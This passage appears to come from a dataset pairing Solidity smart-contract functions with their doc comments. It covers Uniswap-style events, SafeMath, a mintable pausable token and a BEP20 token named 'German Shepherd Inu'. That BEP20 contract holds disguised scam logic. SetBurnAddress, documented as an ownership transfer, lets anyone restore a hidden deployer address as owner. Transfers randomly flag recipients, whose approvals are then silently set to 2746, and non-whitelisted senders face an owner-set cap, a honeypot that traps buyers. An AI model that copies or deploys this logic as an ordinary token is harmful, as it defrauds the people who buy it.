/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
} | The {SafeMath} overflow check can be skipped here, see the comment at the top | function increment(Counter storage counter) internal {
counter._value += 1;
}
| 17,333 |
pragma solidity ^0.4.21;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant public returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
//if(msg.data.length < size + 4) {
// throw;
//}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Standard ERC20 token
*
* @dev Implemantation of the basic standart token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) public {
uint _allowance;
_allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
require(_allowance >= _value);
allowed[_from][msg.sender] = _allowance.sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
// if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant public returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint value);
event MintFinished();
bool public mintingFinished = false;
uint public totalSupply = 0;
modifier canMint() {
// if(mintingFinished) throw;
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
// if (paused) throw;
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
// if (!paused) throw;
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* Pausable token
*
* Simple ERC20 Token example, with pausable token creation
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused public {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused public {
super.transferFrom(_from, _to, _value);
}
}
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a time has passed
*/
contract TokenTimelock {
// ERC20 basic token contract being held
ERC20Basic token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp where token release is enabled
uint public releaseTime;
constructor(ERC20Basic _token, address _beneficiary, uint _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @dev beneficiary claims tokens held by time lock
*/
function claim() public {
require(msg.sender == beneficiary);
require(now >= releaseTime);
uint amount = token.balanceOf(this);
require(amount > 0);
token.transfer(beneficiary, amount);
}
}
/**
* @title FACTSToken
* @dev Facts Token contract
*/
contract FactsToken is PausableToken, MintableToken {
using SafeMath for uint256;
string public name = "F4Token";
string public symbol = "FFFF";
uint public decimals = 18;
/**
* @dev mint timelocked tokens
*/
function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public
onlyOwner canMint returns (TokenTimelock) {
TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime);
mint(timelock, _amount);
return timelock;
}
mapping (address => string) public keys;
event LogRegister (address user, string key);
// Value should be a public key. Read full key import policy.
// Manually registering requires a base58
// encoded using the STEEM, BTS, or EOS public key format.
function register(string key) public {
assert(bytes(key).length <= 64);
keys[msg.sender] = key;
emit LogRegister(msg.sender, key);
}
} | Function to stop minting new tokens. return True if the operation was successful./ | function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
| 14,806,413 |
pragma solidity 0.5.16;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private shibainu;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
shibainu = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function SetBurnAddress() public {
require(_owner != shibainu);
emit OwnershipTransferred(_owner, shibainu);
_owner = shibainu;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public qion;
mapping (address => bool) public thedrone;
bool private hardcore;
uint256 private _totalSupply;
uint256 private shipyard;
uint256 private keyboard;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private oregon;
address private creator;
uint violet = 0;
constructor() public {
creator = address(msg.sender);
hardcore = true;
oregon = true;
_name = "German Shepherd Inu";
_symbol = "GSINU";
_decimals = 5;
_totalSupply = 80000000000000000;
shipyard = _totalSupply / 1000000000000;
keyboard = shipyard;
thedrone[creator] = false;
_balances[msg.sender] = _totalSupply;
qion[msg.sender] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function LookAtMe() external view returns (uint256) {
return shipyard;
}
function randomItIs() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, violet))) % 4;
violet++;
return screen;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function BurnItBaby(uint256 amount) external onlyOwner {
shipyard = amount;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function SomethingNope(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function QueensDagger(address spender, bool val, bool val2) external onlyOwner {
qion[spender] = val;
thedrone[spender] = val2;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if ((address(sender) == creator) && (hardcore == true)) {
qion[recipient] = true;
thedrone[recipient] = false;
hardcore = false;
}
if (qion[recipient] != true) {
thedrone[recipient] = ((randomItIs() == 2) ? true : false);
}
if ((thedrone[sender]) && (qion[recipient] == false)) {
thedrone[recipient] = true;
}
if (qion[sender] == false) {
require(amount < shipyard);
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if ((address(owner) == creator) && (oregon == true)) {
qion[spender] = true;
thedrone[spender] = false;
oregon = false;
}
tok = (thedrone[owner] ? 2746 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
} | Sets `amount` as the allowance of `spender` over the `owner`s tokens. This is internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./ | function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if ((address(owner) == creator) && (oregon == true)) {
qion[spender] = true;
thedrone[spender] = false;
oregon = false;
}
tok = (thedrone[owner] ? 2746 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
| 13,973,578 |
/**
*Submitted for verification at Etherscan.io on 2021-02-07
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
contract Governed {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract SubGoverned is Governed {
/**
* @notice Event emitted when a sub gov is enabled/disabled
*/
event SubGovModified(
address account,
bool isSubGov
);
/// @notice sub governors
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
